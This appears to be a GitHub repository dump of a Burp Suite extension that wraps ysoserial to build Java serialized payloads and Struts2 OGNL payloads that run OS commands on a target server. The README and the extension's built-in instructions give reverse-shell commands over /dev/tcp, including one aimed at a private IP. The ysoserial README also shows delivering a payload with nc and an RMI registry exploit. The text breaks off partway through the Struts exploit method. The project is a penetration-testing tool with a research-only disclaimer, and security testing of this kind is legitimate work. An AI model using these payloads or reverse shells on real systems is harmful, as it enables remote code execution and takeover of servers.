├── BappDescription.html ├── BappManifest.bmf ├── Payload Generator.png ├── README.md ├── complex command.png ├── inline complex command.png ├── inline-command.png ├── replace with generated.png └── ysoserial ├── .DS_Store ├── .gitignore ├── .travis.yml ├── DISCLAIMER.txt ├── LICENSE.txt ├── README.md ├── pom.xml ├── src ├── burp │ └── BurpExtender.java ├── com │ └── josh │ │ ├── ActionJackson.java │ │ ├── MainMan.java │ │ └── ysoserialFrame.java └── ysoserial │ ├── Deserialize.java │ ├── ExecBlockingSecurityManager.java │ ├── GeneratePayload.java │ ├── RMIRegistryExploit.java │ └── payloads │ ├── CommonsCollections1.java │ ├── CommonsCollections2.java │ ├── Groovy1.java │ ├── ObjectPayload.java │ ├── Spring1.java │ ├── annotation │ └── Dependencies.java │ └── util │ ├── ClassFiles.java │ ├── Gadgets.java │ ├── PayloadRunner.java │ ├── Reflections.java │ └── Serializables.java └── ysoserial.png /BappDescription.html: -------------------------------------------------------------------------------- 1 |

This extension generates various Java serialized payloads designed to execute 2 | OS commands. There are three ways to use the extension:

3 | 32 | 33 | -------------------------------------------------------------------------------- /BappManifest.bmf: -------------------------------------------------------------------------------- 1 | Uuid: bc737909a5d742eab91544705c14d34f 2 | ExtensionType: 1 3 | Name: Java Serialized Payloads 4 | RepoName: java-serialized-payloads 5 | ScreenVersion: 0.0.2a 6 | SerialVersion: 2 7 | MinPlatformVersion: 0 8 | ProOnly: False 9 | Author: Josh Summitt 10 | ShortDescription: Generates Java serialized payloads to execute OS commands. 11 | EntryPoint: ysoserial/target/ysoserial-0.0.2-SNAPSHOT-all.jar 12 | BuildCommand: cd ysoserial && mvn package -DskipTests=true -Dmaven.javadoc.skip=true -B 13 | SupportedProducts: Pro, Community 14 | -------------------------------------------------------------------------------- /Payload Generator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/java-serialized-payloads/0c7dd8cf7ebd5d2f17e0d18e7a26199f0edbd9ed/Payload Generator.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # burp-ysoserial - with complex command in injection support 2 | 3 | Download the jar file here: [ysoserial.jar](https://github.com/summitt/burp-ysoserial/releases) 4 | 5 | There are 3 ways to run this [Burp](https://portswigger.net/) extension. 6 | 7 | 1. Generate a payload from the Java Serialized Payloads Tab. You can then copy and paste it into other tabs in [Burp](https://portswigger.net/).(Not ideal) 8 | 1. Generate a payload from the Java Serialized Payloads Tab. In another tab you can select the text you want to replace and right click. You have 3 options to replace. 9 | 1. Raw - This will replace your selected text with an unencoded version of the payload. This is raw binary/hex. 10 | 1. B64 - This payload will replace your selected text with a base64 encoded version. 11 | 1. URLEnc - This will replace your selected text with a URL encoded and base64 encoded payload. Ideal for web type applications 12 | 1. You can use inline commands to replace your text with a payload that contains your command. For example you can enter text in repeater like: 13 | 14 | ```$(CC1|ping -c1 8.8.8.8)``` 15 | 16 | Select the above text and right click any of the Java Serialized Payload Options and it will replace your command with a payload containing that command. 17 | 18 | The first parameter before the pipe in the above statement is the version of the exploit. You can enter any of the following: 19 | - CC1 or CollectionCommons1 20 | - CC2 or CollectionCommons2 21 | - GV1 or Groovy1 22 | - SP1 or Spring1 23 | 24 | The second parameter is obviously the OS command you wish to run. 25 | 26 | ## Complex Commands (i.e. pipes and I/O redirection) 27 | Note ysoserial in this extension has been updated to accept more complicated commands that in the original. For instance commands like the following command would fail to execute on the victim server in the original ysoserial application. 28 | 29 | ```echo test > /tmp/text.txt``` 30 | or 31 | ```bash -c "echo test > /tmp/text.txt"``` 32 | 33 | This is because to run complex commands that pipe command into other commands in java the arguments needs to be a string Array. This version of ysoserial has been modified by using a delimter of ",," to seperate your arguments to the string array. Here is an example of running a more complicated command using this method to get a reverse shell: 34 | 35 | ```/bin/bash,,-c,,bash -i >& /dev/tcp/X.X.X.X/9997 0>&1``` 36 | 37 | The above code will be split into a string array that java can run on the victim server. :) The resulting java code would look like: 38 | ```Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/X.X.X.X/9997 0>&1"});``` 39 | 40 | ##Examples 41 | ### Example 1 - Replace selected text with a pre-generated payload 42 | 1. First Generate a payload 43 | ![Payload Generator](/Payload%20Generator.png) 44 | 2. Go to Repeater and select the text you want to replace. 45 | 3. Right Click and select a payload option. 46 | ![Payload Generator](/replace%20with%20generated.png) 47 | 48 | ### Example 2 - Use and inline command 49 | 1. In [Burp](https://portswigger.net/) Repeater replace your parameter with the following code: 50 | 51 | ```$(CC1|ping -c1 8.8.8.8)``` 52 | 53 | 2. Select the above text. Right Click in repeater and select the payload type. 54 | ![Payload Generator](/inline-command.png) 55 | 56 | ### Example 3 - Complex commands 57 | 1. In Repeater replace your parameter with the following command: 58 | 59 | ```$(CC1|/bin/bash,,-c,,bash -i >& /dev/tcp/192.168.1.223/9997 0>&1)``` 60 | 61 | 2. Select it and select the payload you want to generate. 62 | ![Payload Generator](/inline%20complex%20command.png) 63 | -------------------------------------------------------------------------------- /complex command.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/java-serialized-payloads/0c7dd8cf7ebd5d2f17e0d18e7a26199f0edbd9ed/complex command.png -------------------------------------------------------------------------------- /inline complex command.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/java-serialized-payloads/0c7dd8cf7ebd5d2f17e0d18e7a26199f0edbd9ed/inline complex command.png -------------------------------------------------------------------------------- /inline-command.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/java-serialized-payloads/0c7dd8cf7ebd5d2f17e0d18e7a26199f0edbd9ed/inline-command.png -------------------------------------------------------------------------------- /replace with generated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/java-serialized-payloads/0c7dd8cf7ebd5d2f17e0d18e7a26199f0edbd9ed/replace with generated.png -------------------------------------------------------------------------------- /ysoserial/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/java-serialized-payloads/0c7dd8cf7ebd5d2f17e0d18e7a26199f0edbd9ed/ysoserial/.DS_Store -------------------------------------------------------------------------------- /ysoserial/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | .classpath 3 | .project 4 | .settings/ 5 | pwntest 6 | /bin/ 7 | -------------------------------------------------------------------------------- /ysoserial/.travis.yml: -------------------------------------------------------------------------------- 1 | language: java 2 | jdk: 3 | - oraclejdk8 4 | - oraclejdk7 5 | - openjdk7 6 | - openjdk6 -------------------------------------------------------------------------------- /ysoserial/DISCLAIMER.txt: -------------------------------------------------------------------------------- 1 | DISCLAIMER 2 | 3 | This software has been created purely for the purposes of academic research and 4 | for the development of effective defensive techniques, and is not intended to be 5 | used to attack systems except where explicitly authorized. Project maintainers 6 | are not responsible or liable for misuse of the software. Use responsibly. -------------------------------------------------------------------------------- /ysoserial/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 Chris Frohoff 2 | 3 | MIT License 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining 6 | a copy of this software and associated documentation files (the 7 | "Software"), to deal in the Software without restriction, including 8 | without limitation the rights to use, copy, modify, merge, publish, 9 | distribute, sublicense, and/or sell copies of the Software, and to 10 | permit persons to whom the Software is furnished to do so, subject to 11 | the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be 14 | included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 19 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 20 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 21 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 22 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /ysoserial/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ysoserial 3 | 4 | A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 5 | 6 | ![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) 7 | 8 | ## Description 9 | 10 | Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) 11 | 12 | __ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java 13 | libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. 14 | The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then 15 | serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes 16 | this data, the chain will automatically be invoked and cause the command to be executed on the application host. 17 | 18 | It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having 19 | gadgets on the classpath. 20 | 21 | ## Disclaimer 22 | 23 | This software has been created purely for the purposes of academic research and 24 | for the development of effective defensive techniques, and is not intended to be 25 | used to attack systems except where explicitly authorized. Project maintainers 26 | are not responsible or liable for misuse of the software. Use responsibly. 27 | 28 | ## Usage 29 | 30 | ```shell 31 | $ java -jar ysoserial-0.0.1-all.jar 32 | Y SO SERIAL? 33 | Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' 34 | Available payload types: 35 | CommonsCollections1 36 | CommonsCollections2 37 | Groovy1 38 | Spring1 39 | ``` 40 | 41 | ## Examples 42 | 43 | ```shell 44 | $ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd 45 | 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 46 | 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 47 | 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 48 | ... 49 | 0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov 50 | 0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 51 | 0000570: 0078 7071 007e 003a .xpq.~.: 52 | 53 | $ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin 54 | $ nc 10.10.10.10 < groovypayload.bin 55 | 56 | $ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe 57 | ``` 58 | 59 | ## Installation 60 | 61 | 1. Download the latest jar from the "releases" section. 62 | 63 | ## Code Status 64 | 65 | [![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial) 66 | 67 | ## Contributing 68 | 69 | 1. Fork it 70 | 2. Create your feature branch (`git checkout -b my-new-feature`) 71 | 3. Commit your changes (`git commit -am 'Add some feature'`) 72 | 4. Push to the branch (`git push origin my-new-feature`) 73 | 5. Create new Pull Request 74 | -------------------------------------------------------------------------------- /ysoserial/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | ysoserial 6 | ysoserial 7 | 0.0.2-SNAPSHOT 8 | jar 9 | 10 | ysoserial 11 | http://maven.apache.org 12 | 13 | 14 | UTF-8 15 | 16 | 17 | 18 | src 19 | 20 | 21 | 22 | org.apache.maven.plugins 23 | maven-compiler-plugin 24 | 3.2 25 | 26 | 1.8 27 | 1.8 28 | 29 | 30 | 31 | maven-assembly-plugin 32 | 33 | ${project.artifactId}-${project.version}-all 34 | false 35 | 36 | 37 | ysoserial.GeneratePayload 38 | 39 | 40 | 41 | jar-with-dependencies 42 | 43 | 44 | 45 | 46 | make-assembly 47 | package 48 | 49 | single 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | junit 63 | junit 64 | 4.12 65 | test 66 | 67 | 68 | org.mockito 69 | mockito-core 70 | 1.10.19 71 | test 72 | 73 | 74 | com.github.stefanbirkner 75 | system-rules 76 | 1.8.0 77 | test 78 | 79 | 80 | 81 | 82 | 83 | org.reflections 84 | reflections 85 | 0.9.9 86 | 87 | 88 | org.jboss.shrinkwrap.resolver 89 | shrinkwrap-resolver-depchain 90 | 2.1.1 91 | pom 92 | 93 | 94 | org.javassist 95 | javassist 96 | 3.19.0-GA 97 | 98 | 99 | net.portswigger.burp.extender 100 | burp-extender-api 101 | 1.7.13 102 | 103 | 104 | 105 | 106 | 107 | commons-collections 108 | commons-collections 109 | 3.1 110 | 111 | 112 | org.apache.commons 113 | commons-collections4 114 | 4.0 115 | 116 | 117 | org.apache.commons 118 | commons-lang3 119 | 3.1 120 | 121 | 122 | org.codehaus.groovy 123 | groovy 124 | 2.3.9 125 | 126 | 127 | org.springframework 128 | spring-core 129 | 4.1.4.RELEASE 130 | 131 | 132 | org.springframework 133 | spring-beans 134 | 4.1.4.RELEASE 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /ysoserial/src/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.awt.Component; 4 | import java.awt.event.ActionEvent; 5 | import java.awt.event.ActionListener; 6 | import java.awt.event.InputEvent; 7 | import java.awt.event.MouseEvent; 8 | import java.awt.event.MouseListener; 9 | import java.io.File; 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | 13 | import javax.swing.JMenuItem; 14 | import javax.swing.SwingUtilities; 15 | 16 | import com.josh.ActionJackson; 17 | import com.josh.ysoserialFrame; 18 | 19 | 20 | public class BurpExtender implements IBurpExtender, ITab, IContextMenuFactory 21 | { 22 | private ysoserialFrame exFrame; 23 | private IBurpExtenderCallbacks cb; 24 | private IExtensionHelpers helpers; 25 | 26 | public void registerExtenderCallbacks( 27 | IBurpExtenderCallbacks callbacks) 28 | { 29 | 30 | cb = callbacks; 31 | helpers = cb.getHelpers(); 32 | cb.setExtensionName("Java Serialized Payloads"); 33 | cb.registerContextMenuFactory(this); 34 | SwingUtilities.invokeLater(new Runnable(){ 35 | 36 | //@Override 37 | public void run() { 38 | exFrame = new ysoserialFrame(); 39 | cb.customizeUiComponent(exFrame); 40 | cb.addSuiteTab(BurpExtender.this); 41 | } 42 | 43 | 44 | }); 45 | 46 | 47 | } 48 | 49 | //@Override 50 | public String getTabCaption(){ 51 | return "Java Serialized Payloads"; 52 | } 53 | //@Override 54 | public Component getUiComponent() { 55 | return exFrame; 56 | } 57 | 58 | public List createMenuItems(IContextMenuInvocation inv) { 59 | if( inv.getInvocationContext() == inv.CONTEXT_MESSAGE_EDITOR_REQUEST || inv.getInvocationContext() == inv.CONTEXT_MESSAGE_EDITOR_RESPONSE){ 60 | JMenuItem raw = new JMenuItem("Java Serialized Payload (Raw)"); 61 | raw.addActionListener(new ActionJackson(inv, exFrame, "raw")); 62 | JMenuItem b64 = new JMenuItem("Java Serialized Payload (b64)"); 63 | b64.addActionListener(new ActionJackson(inv, exFrame, "b64")); 64 | JMenuItem eurl = new JMenuItem("Java Serialized Payload (URLEnc)"); 65 | eurl.addActionListener(new ActionJackson(inv, exFrame, "eurl")); 66 | Liststuff = new ArrayList(); 67 | stuff.add(raw); 68 | stuff.add(b64); 69 | stuff.add(eurl); 70 | 71 | return stuff; 72 | }else{ 73 | return null; 74 | } 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /ysoserial/src/com/josh/ActionJackson.java: -------------------------------------------------------------------------------- 1 | package com.josh; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.awt.event.InputEvent; 6 | import java.io.UnsupportedEncodingException; 7 | import java.util.Arrays; 8 | 9 | import burp.IContextMenuInvocation; 10 | import burp.IHttpRequestResponse; 11 | 12 | public class ActionJackson implements ActionListener{ 13 | private IContextMenuInvocation inv; 14 | private ysoserialFrame ysoframe; 15 | private String opt; 16 | public ActionJackson(IContextMenuInvocation inv, ysoserialFrame ysoframe, String opt){ 17 | this.inv = inv; 18 | this.ysoframe = ysoframe; 19 | this.opt = opt; 20 | } 21 | 22 | public void actionPerformed(ActionEvent e) { 23 | try { 24 | updateIfCMD(); 25 | replace(ysoframe.getPayloadText(this.opt)); 26 | } catch (UnsupportedEncodingException e1) { 27 | // TODO Auto-generated catch block 28 | e1.printStackTrace(); 29 | } 30 | 31 | } 32 | private boolean isRequest(){ 33 | if(inv.getInvocationContext() == inv.CONTEXT_MESSAGE_EDITOR_REQUEST || inv.getInvocationContext() == inv.CONTEXT_MESSAGE_VIEWER_REQUEST) 34 | return true; 35 | else 36 | return false; 37 | 38 | } 39 | private String getMessage(IHttpRequestResponse o){ 40 | return (new String(isRequest()? o.getRequest(): o.getResponse())); 41 | } 42 | private byte[] getMsgBytes(IHttpRequestResponse o){ 43 | return isRequest()? o.getRequest(): o.getResponse(); 44 | } 45 | private void setMessage(IHttpRequestResponse o, String update){ 46 | if(isRequest()){ 47 | o.setRequest(update.getBytes()); 48 | 49 | }else{ 50 | o.setResponse(update.getBytes()); 51 | } 52 | } 53 | private void setMsgBytes(IHttpRequestResponse o, byte [] update){ 54 | if(isRequest()){ 55 | o.setRequest(update); 56 | 57 | }else{ 58 | o.setResponse(update); 59 | } 60 | } 61 | 62 | 63 | 64 | /*private void replace-bk(Object replace){ 65 | if(replace == null){ 66 | return; 67 | } 68 | 69 | System.out.println(replace.getClass().getName()); 70 | if(replace.getClass().getName().equals("java.lang.String")){ 71 | int start = inv.getSelectionBounds()[0]; 72 | int stop = inv.getSelectionBounds()[1]; 73 | for(IHttpRequestResponse o : inv.getSelectedMessages()){ 74 | String all = getMessage(o); 75 | String Selected = all.substring(start, stop); 76 | if(Selected.startsWith("$(")){ 77 | String cmd = Selected.substring(2, Selected.length()-1); 78 | 79 | String type = cmd.substring(0, cmd.indexOf("|")); 80 | String oscmd = cmd.substring(cmd.indexOf("|")); 81 | System.out.println("Running with the following Library: " + type); 82 | System.out.println("Running with the following Command: " + oscmd); 83 | // this will update the other getters and setters used later 84 | this.ysoframe.executeYsoSerial(type, oscmd); 85 | } 86 | String begin = all.substring(0, start); 87 | String end = all.substring(stop); 88 | all = begin + replace + end; 89 | setMessage(o, all); 90 | break; 91 | } 92 | } 93 | 94 | 95 | 96 | }*/ 97 | private void updateIfCMD(){ 98 | int start = inv.getSelectionBounds()[0]; 99 | int stop = inv.getSelectionBounds()[1]; 100 | for(IHttpRequestResponse o : inv.getSelectedMessages()){ 101 | String all = getMessage(o); 102 | String Selected = all.substring(start, stop); 103 | if(Selected.startsWith("$(")){ 104 | String cmd = Selected.substring(2, Selected.length()-1); 105 | String type = cmd.substring(0, cmd.indexOf("|")); 106 | String oscmd = cmd.substring(cmd.indexOf("|")+1); 107 | System.out.println("Running with the following Library: " + type); 108 | System.out.println("Running with the following Command: " + oscmd); 109 | if(type.equals("CC1")) 110 | type = "CommonsCollections1"; 111 | else if(type.equals("CC2")) 112 | type = "CommonsCollections2"; 113 | else if(type.equals("GV1")) 114 | type = "Groovy1"; 115 | else if (type.equals("SP1")) 116 | type = "Spring1"; 117 | // this will update the other getters and setters used later 118 | this.ysoframe.executeYsoSerial(type, oscmd); 119 | } 120 | break; 121 | } 122 | 123 | } 124 | 125 | private void replace(Object replace){ 126 | if(replace == null) 127 | return; 128 | int start = inv.getSelectionBounds()[0]; 129 | int stop = inv.getSelectionBounds()[1]; 130 | if(replace.getClass().getName().equals("java.lang.String")){ 131 | for(IHttpRequestResponse o : inv.getSelectedMessages()){ 132 | String all = getMessage(o); 133 | String Selected = all.substring(start, stop); 134 | String begin = all.substring(0, start); 135 | String end = all.substring(stop); 136 | all = begin + replace + end; 137 | setMessage(o, all); 138 | break; 139 | } 140 | }else{ 141 | for(IHttpRequestResponse o : inv.getSelectedMessages()){ 142 | byte[] all = getMsgBytes(o); 143 | byte[] begin = Arrays.copyOfRange(all, 0, start); 144 | byte[] end = Arrays.copyOfRange(all, stop, all.length); 145 | byte [] r = (byte[])replace; 146 | byte [] out = new byte[begin.length + end.length + r.length]; 147 | System.arraycopy(begin, 0, out, 0, begin.length); 148 | System.arraycopy(r, 0, out, begin.length, r.length); 149 | System.arraycopy(end, 0, out, r.length+begin.length, end.length); 150 | setMsgBytes(o,out); 151 | break; 152 | } 153 | 154 | } 155 | 156 | } 157 | 158 | } 159 | -------------------------------------------------------------------------------- /ysoserial/src/com/josh/MainMan.java: -------------------------------------------------------------------------------- 1 | package com.josh; 2 | 3 | import java.awt.EventQueue; 4 | 5 | import javax.swing.JFrame; 6 | import javax.swing.UIManager; 7 | import javax.swing.UIManager.LookAndFeelInfo; 8 | import javax.swing.border.EmptyBorder; 9 | 10 | 11 | 12 | 13 | 14 | public class MainMan extends JFrame{ 15 | private ysoserialFrame contentPane; 16 | 17 | public static void main(String[] args) { 18 | try { 19 | for (LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) { 20 | if ("Nimbus".equals(info.getName())) { 21 | UIManager.setLookAndFeel(info.getClassName()); 22 | break; 23 | } 24 | } 25 | } 26 | catch (Exception e) { 27 | // DO Nothing 28 | } 29 | 30 | 31 | EventQueue.invokeLater(new Runnable() { 32 | public void run() { 33 | try { 34 | MainMan frame = new MainMan(); 35 | frame.setVisible(true); 36 | } catch (Exception e) { 37 | e.printStackTrace(); 38 | } 39 | } 40 | }); 41 | 42 | } 43 | 44 | public MainMan() { 45 | setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 46 | setBounds(100, 100, 450, 300); 47 | contentPane = new ysoserialFrame(); 48 | contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); 49 | //contentPane.setLayout(new BorderLayout(0, 0)); 50 | setContentPane(contentPane); 51 | } 52 | 53 | 54 | } 55 | -------------------------------------------------------------------------------- /ysoserial/src/com/josh/ysoserialFrame.java: -------------------------------------------------------------------------------- 1 | package com.josh; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.EventQueue; 5 | 6 | import javax.swing.JFrame; 7 | import javax.swing.JPanel; 8 | import javax.swing.border.EmptyBorder; 9 | import javax.swing.ButtonGroup; 10 | import javax.swing.SpringLayout; 11 | import javax.swing.JSplitPane; 12 | import javax.swing.JRadioButton; 13 | import javax.swing.JTextField; 14 | import javax.swing.JTextPane; 15 | import javax.swing.JLabel; 16 | import javax.swing.JButton; 17 | import javax.swing.SwingConstants; 18 | 19 | import ysoserial.GeneratePayload; 20 | import ysoserial.payloads.ObjectPayload; 21 | 22 | import java.awt.event.ActionListener; 23 | import java.awt.event.ActionEvent; 24 | import java.awt.event.MouseAdapter; 25 | import java.awt.event.MouseEvent; 26 | import java.io.ByteArrayOutputStream; 27 | import java.io.ObjectOutputStream; 28 | import java.io.UnsupportedEncodingException; 29 | import java.net.URLEncoder; 30 | import java.util.Base64; 31 | 32 | import javax.swing.JTextArea; 33 | import javax.swing.JScrollPane; 34 | import javax.swing.ScrollPaneConstants; 35 | 36 | import java.awt.FlowLayout; 37 | 38 | import javax.swing.BoxLayout; 39 | 40 | public class ysoserialFrame extends JPanel { 41 | 42 | private JPanel contentPane; 43 | private JTextField cmdtxt; 44 | private JTextPane outtxt; 45 | private JRadioButton cc1rdo; 46 | private JRadioButton cc2rdo; 47 | private JRadioButton grvrdo; 48 | private JRadioButton spgrdo; 49 | private ButtonGroup group; 50 | private JRadioButton stsrdo; 51 | private JRadioButton insrdo; 52 | private String payloadStr; 53 | private byte[] rawPayload; 54 | 55 | /** 56 | * Launch the application. 57 | */ 58 | public static void main(String[] args) { 59 | EventQueue.invokeLater(new Runnable() { 60 | public void run() { 61 | try { 62 | ysoserialFrame frame = new ysoserialFrame(); 63 | frame.setVisible(true); 64 | } catch (Exception e) { 65 | e.printStackTrace(); 66 | } 67 | } 68 | }); 69 | } 70 | 71 | /** 72 | * Create the frame. 73 | */ 74 | public ysoserialFrame() { 75 | 76 | contentPane = this; 77 | setLayout(null); 78 | 79 | cmdtxt = new JTextField(); 80 | cmdtxt.setBounds(125, 58, 217, 29); 81 | contentPane.add(cmdtxt); 82 | cmdtxt.setColumns(10); 83 | 84 | JLabel lblOsCmd = new JLabel("OS CMD:"); 85 | lblOsCmd.setBounds(58, 65, 77, 14); 86 | contentPane.add(lblOsCmd); 87 | 88 | JButton genbtn = new JButton("Generate"); 89 | genbtn.addMouseListener(new MouseAdapter() { 90 | @Override 91 | public void mouseClicked(MouseEvent arg0) { 92 | String payloadType = "CommonsCollections1"; 93 | if(cc1rdo.isSelected()) 94 | payloadType = "CommonsCollections1"; 95 | else if(cc2rdo.isSelected()) 96 | payloadType = "CommonsCollections2"; 97 | else if(grvrdo.isSelected()) 98 | payloadType = "Groovy1"; 99 | else if(spgrdo.isSelected()) 100 | payloadType = "Spring1"; 101 | if(insrdo.isSelected()){ 102 | outtxt.setText(getInstructions()); 103 | }else if(!stsrdo.isSelected()) 104 | outtxt.setText(executeYsoSerial(payloadType, cmdtxt.getText().trim())); 105 | else 106 | outtxt.setText(strutsExploit(cmdtxt.getText().trim())); 107 | } 108 | }); 109 | genbtn.addActionListener(new ActionListener() { 110 | public void actionPerformed(ActionEvent arg0) { 111 | } 112 | }); 113 | genbtn.setBounds(352, 58, 130, 30); 114 | contentPane.add(genbtn); 115 | 116 | JScrollPane scrollPane = new JScrollPane(); 117 | scrollPane.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS); 118 | scrollPane.setBounds(33, 98, 662, 481); 119 | add(scrollPane); 120 | 121 | outtxt = new JTextPane(); 122 | //outtxt.setLineWrap(true); 123 | outtxt.putClientProperty("html.disable", null); 124 | outtxt.setContentType("text/html"); 125 | scrollPane.setViewportView(outtxt); 126 | 127 | JPanel panel = new JPanel(); 128 | panel.setBounds(58, 11, 735, 43); 129 | add(panel); 130 | panel.setLayout(new BoxLayout(panel, BoxLayout.X_AXIS)); 131 | 132 | 133 | cc1rdo = new JRadioButton("CC1"); 134 | panel.add(cc1rdo); 135 | cc1rdo.setSelected(true); 136 | cc1rdo.setToolTipText("CommonsCollections1"); 137 | 138 | cc2rdo = new JRadioButton("CC2"); 139 | panel.add(cc2rdo); 140 | cc2rdo.setToolTipText("Commons Collections2"); 141 | 142 | grvrdo = new JRadioButton("Groovy1"); 143 | panel.add(grvrdo); 144 | 145 | spgrdo = new JRadioButton("Spring1"); 146 | panel.add(spgrdo); 147 | stsrdo = new JRadioButton("Struts2"); 148 | panel.add(stsrdo); 149 | insrdo = new JRadioButton("Instructions"); 150 | panel.add(insrdo); 151 | group = new ButtonGroup(); 152 | group.add(cc1rdo); 153 | group.add(cc2rdo); 154 | group.add(grvrdo); 155 | group.add(spgrdo); 156 | group.add(stsrdo); 157 | group.add(insrdo); 158 | 159 | 160 | 161 | 162 | } 163 | private String div(String text, String cls){ 164 | return "
"+text+"

"; 165 | } 166 | private String p(String text, String cls){ 167 | return "

"+text+"


"; 168 | } 169 | private String css=""; 178 | 179 | private String getInstructions(){ 180 | 181 | String tmp = "" + css + "" + div("Instructions","title"); 182 | tmp +=div("There are 3 ways to run this extension.
" 183 | + "
    " 184 | + "
  1. Generate a payload from the menu above. You can then copy and paste it into other tabs in burp.
  2. " 185 | + "
  3. Generate a payload from the menu above. In another tab you can select the text you want to replace and right click. You have 3 options to replace." 186 | + "
      " 187 | + "
    1. Raw - This will replace your selected text with an unencoded version of the payload. This is raw binary/hex.
    2. " 188 | + "
    3. B64 - This payload will replace your selected text with a base64 encoded version.
    4. " 189 | + "
    5. URLEnc - This will replace your selected text with a URL encoded and base64 encoded payload. Ideal for web type applications
    6. " 190 | + "
    " 191 | + "
  4. You can use inline commands to replace your text with a payload that contains your command. For example you can enter text in repeater like:
    " 192 | + div("$(CC1|ping -c1 8.8.8.8)","code2") 193 | + "Select the above text and right click any of the Java Serialized Payload Options and it will replace your command with a payload containing that command." 194 | + "
" 195 | + "Note ysoserial in this extension has been updated to accept more complicated commands that in the original. " 196 | + "For instance commands the following command would fail to execute on the victim server:" 197 | + div("echo test > /tmp/text.txt","code2") + "or" + div("bash -c \"echo test > /tmp/text.txt\"","code2") +"
" 198 | + "This is because to run complex command or pipe command into other commands in java the arguments needs to be a string Array." 199 | + " This has been modified in this version by using a delimter of \",,\". to seperate your arguments to the string array.

" 200 | + "Here is an example of running a more complicated command using this method to get a reverse shell:
" 201 | + div("/bin/bash,,-c,,bash -i >& /dev/tcp/X.X.X.X/9997 0>&1","code2") 202 | + "
" 203 | + "The above code will be split into a string array that java can run on the victim server. :) The resulting function would look like:" 204 | + div("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/X.X.X.X/9997 0>&1\"});", "code2"), "text"); 205 | tmp += ""; 206 | return tmp; 207 | 208 | } 209 | private String strutsExploit(String cmd){ 210 | payloadStr=""; 211 | rawPayload=new byte[]{}; 212 | String payload0 = "%23f=%23_memberAccess.getClass%28%29" 213 | + ".getDeclaredField%28%27allowStaticMethodAccess%27%29," 214 | + "%23f.setAccessible%28true%29," 215 | + "%23f.set%28%23_memberAccess," 216 | + "true%29," 217 | + "@java.lang.Runtime@getRuntime%28%29.exec%28%27CMDHERE%27%29"; 218 | String payload6 = "?redirect:%25{%23_memberAccess[%27allowStaticMethodAccess%27]%3dtrue,@java.lang.Runtime@getRuntime().exec(%27CMDHERE%27)}"; 219 | String payload7 = "?redirect:%25{%23_memberAccess%3dnew+com.opensymphony.xwork2.ognl.SecurityMemberAccess(true),@java.lang.Runtime@getRuntime().exec(%27CMDHERE%27)}"; 220 | 221 | cmd = cmd.replace("'", "\\'"); 222 | try { 223 | cmd = URLEncoder.encode(cmd, "UTF-8"); 224 | } catch (UnsupportedEncodingException e) { 225 | // TODO Auto-generated catch block 226 | e.printStackTrace(); 227 | } 228 | payload0 = payload0.replace("CMDHERE", 